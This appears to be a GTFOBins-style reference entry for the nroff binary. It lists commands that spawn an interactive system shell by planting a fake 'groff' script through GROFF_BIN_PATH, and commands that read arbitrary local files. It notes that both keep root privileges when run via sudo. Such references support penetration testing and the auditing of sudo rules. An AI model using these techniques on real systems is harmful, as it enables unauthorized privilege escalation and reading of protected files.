This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
echo /bin/sh >groff
chmod +x groff
GROFF_BIN_PATH=. nroff
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo /bin/sh >groff
chmod +x groff
GROFF_BIN_PATH=. nroff
This executable can read data from local files.
This function can be performed by any unprivileged user.
nroff /path/to/input-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
nroff /path/to/input-file